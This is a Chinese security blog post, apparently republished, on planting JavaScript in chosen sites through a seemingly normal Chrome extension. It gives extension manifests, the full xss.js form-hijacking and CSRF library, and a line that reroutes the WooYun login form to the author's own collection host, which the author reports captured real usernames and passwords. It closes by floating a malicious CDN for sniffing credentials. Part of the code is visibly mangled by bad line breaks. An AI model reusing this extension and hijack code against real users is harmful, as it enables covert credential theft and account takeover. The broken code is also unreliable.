利用Chrome插件向指定頁面植入js,劫持 XSS

資源來自:http://www.2cto.com/Article/201307/225986.html
首頁 >  安全 >  網站安全 > 正文
利用Chrome插件向指定頁面植入js,劫持 XSS,一些猥瑣的想法與實踐
2013-07-08       0  個評論      
收藏    我要投稿
 
 
0x00 Chrome 插件
--------------------------
這個想法是昨天看到@紫夢芊 的帖子想起來的。
想法以下:
Chrome插件是能夠經過manifest.json的控制,向指定頁面植入contentscript.js裏的腳本的。那麼,能不能在一個看似正常的插件裏,安放一個小功能:在全部烏雲的頁面裏<script src=//xsser.me></script>呢?
因而,開始實踐。(爲了方便,只是彈了一個小框框)。
Manifest.json內容:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
   "name" : "XiaoChaJian" ,
   "version" : "1.0" ,
   "manifest_version" : 2,
   "author" : "VIP" ,
   "icons" : {
       "128" : "icon.png"
    },
   "permissions" : [
     "tabs" , "http://*/*" , "https://*/*"
   ],
   "content_scripts" : [
     { "js" :[ "contentscript.js" ], "matches" : [ "http://wooyun.org/*" , "http://*.wooyun.org/*" ]}
    ]
}

 

contentscript.js內容:
alert(/xss/); 




那麼,將彈框換成xsser.me,是否是就能截獲想要的cookies了呢?
很遺憾,這種方法在烏雲無效,由於烏雲的cookies是HTTP-ONLY的。雖然插件上也能獲取http-only的cookies(像Edit this cookie和cookie快速模擬同樣),可是很麻煩,因而,又有一個猥瑣的想法誕生了:在烏雲的登陸頁面中,插入@Sogili的xss.js來劫持表單,是否是就能把用戶名和密碼發送到咱們想要的地方去了呢?
開始實踐:
Manifest.json內容:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
{
   "name" : "JieChiBiaoDan" ,
   "version" : "1.0" ,
   "manifest_version" : 2,
  
  
"author" : "VIP" ,
   "icons" : {
       "128" : "icon.png"
  
  
},
   "permissions" : [
     "tabs" , "http://*/*" , "https://*/*"
   ],
  
  
"content_scripts" : [
     { "js" :[ "contentscript.js" ], "matches" :
  
  
  
  
]
}
contentscript.js內容:
;; var xss = function (){
   var x = {
     'name' : 'xss.js' ,
     'version' : '0.2.1' ,
     'author' : '長短短(sogili)'
   };
  
   x.x= function (id){ return document.getElementById(id)};
  
   //容錯取值
   x.e= function (_){ try { return eval( '(' +_+ ')' )} catch (e){ return '' }};
  
   //瀏覽器
   x.i={
     i:!!self.ActiveXObject&&( function (){
       for ( var v=6,s=document.createElement( 's' );
         s.innerHTML= '<![if gt IE ' +(v++)+ ']
  
><i></i><![endif]-->' ,
         s.getElementsByTagName( 'i' )[0];);
       return v;
     }()),
     c:!!self.chrome,
     f:self.mozPaintCount>-1,
     o:!!self.opera,
     s:!self.chrome&&!!self.WebKitPoint
   };
  
   //UA
   x.ua = navigator.userAgent;
  
   //判斷是否爲蘋果手持設備
   x.apple=/ip(one|ad|od)/i.test(x.ua);
  
   //隨機數
   x.rdm= function (){ return ~~(Math.random()*1e5)};
  
   //url編碼(UTF8)
   x.ec=encodeURIComponent;
  
   x.html= function (){
     return document.getElementsByTagName( 'html' )[0]
         ||document.write( '<html>' )
         ||document.getElementsByTagName
  
( 'html' )[0];
   };
  
   /*
    * 銷燬一個元素
    */
   x.kill= function (e){
     e.parentElement.removeChild(e);
   };
  
   /*
    *綁定事件
    */
   x.bind= function (e,name,fn){
     e.addEventListener?e.addEventListener
  
(name,fn, false ):e.attachEvent( "on" +name,fn);
   };
  
   /*
    * dom準備完畢時執行函數
    */
   x.ready= function (fn){
     if (!x.i.i){
       x.bind(document, 'DOMContentLoaded' ,fn);
     } else {
       var s = setInterval( function (){
         try {
           document.body.doScroll( 'left' );
           clearInterval(s);
           fn();
         } catch (e){}
       },4);
     }
   }
  
   /*
    * 同源檢測
    */
   x.o= function (url){
     var link = x.dom( '<a href="' +encodeURI(url)+ '">' ,1);
     return link.protocol+link.hoatname+ ':' +(link.port||80)
  
==location.protocol+location.hoatname+ ':' +(location.port||80);
   };
  
   /*
    * html to dom
    */
   x.dom= function (html,gcsec){
     var tmp = document.createElement( 'span' );
     tmp.innerHTML=html;
     var e = tmp.children[0];
     e.style.display= 'none' ;
     x.html().appendChild(e);
     gcsec>>0>0&&setTimeout( function (){
       x.kill(e);
     },gcsec*1000);
     return e;
   };
  
   /*
    * ajax
    */
   x.ajax= function (url,params,callback){
     (params instanceof Function)&&
  
(callback=params,params=void(0));
     var XHR = (!x.o(url)&&window.XDomainRequest)||
           window.XMLHttpRequest||
           ( function (){ return new ActiveXObject
  
( 'MSXML2.XMLHTTP' )});
     var xhr = new XHR();
     xhr.open(params? 'post' : 'get' ,url);
     xhr.withCredentials = true ;
     try {params&&xhr.setRequestHeader( 'content-
  
type' , 'application/x-www-form-urlencoded' );} catch (e){}
     callback&&(xhr.onreadystatechange = function () {
       ( this .readyState == 4 && (( this .status >= 200
  
&& this .status <= 300) || this .status == 304))&&callback.apply
  
( this ,arguments);
     });
     xhr.send(params);
   };
  
   /*
    * CSRF
    */
   x.csrf= function (url,params,callback){
     (params instanceof Function)&&
  
(callback=params,params=void(0));
     if (params){
       var form = x.dom( '<form method=post>' );
       form.action=url;
       for ( var name in params){
         var input = document.createElement
  
( 'input' );
         input.name=name;
         input.value=params[name];
         form.appendChild(input);
       }
       var iframe = x.dom( '<iframe sandbox
  
name=_' +x.rdm()+ '_>' ,6);
       callback&&setTimeout( function (){
         x.bind(iframe, 'load' ,callback);
       },30);
       form.target=iframe.name;
       form.submit();
     } else {
       var img = new Image();
       callback&&(img.onerror=callback);
       img.src=url;
     }
   };
  
   /*
    * 表單劫持
    */
   x.xform= function (form,action){
  
  
form.old_action=form.action,form.old_target=form.target,form.action=act
  
ion;
     var iframe = x.dom( '<iframe name=_' +x.rdm()+ '_>' );
     form.target=iframe.name;
     setTimeout( function (){
       x.bind(iframe, 'load' , function (){
  
  
form.action=form.old_action,form.target=form.old_target,form.onsubmit=n
  
ull,form.submit();
       });
     },30);
   };
  
   /*
    * 函數代理
    */
   x.proxy= function (fn,before,after){
     return function (){
       before&&before.apply( this ,arguments);
       var result = fn.apply( this ,arguments);
       after&&after.apply( this ,arguments);
       return result;
     }
   };
  
   return x;
}();
xss.xform(document.forms[1], 'http://vip.yupage.com/wy.php' );//劫持表單

  http://vip.yupage.com/wy.php是我作好的一個接收頁面,代碼以下:







開始測試,打開登陸頁,填好用戶名密碼驗證碼,點擊登陸,首先會像個人接收頁發起POST,而後纔會POST烏雲。



再去看看,用戶名密碼已經躺在那裏了。

在不知情的狀況下,用戶名和密碼就這樣被劫持走了。烏雲的wb轉帳功能但是沒有二次驗證的哦。
0x01 CDN --------------- 如今有許許多多的網站使用了CDN來進行加速/防D等。 去搜索了下CDN的工做原理,大概是這樣的。 用戶訪問-》自動分配最快的節點-》請求原服務器------- 返回給用戶《-返回給節點服務器《-原服務器返回數據<-| 那麼,能不能搭建一臺惡意的CDN,而後嗅探全部使用了該CDN的網站的用戶名密碼呢?  
相關文章
相關標籤/搜索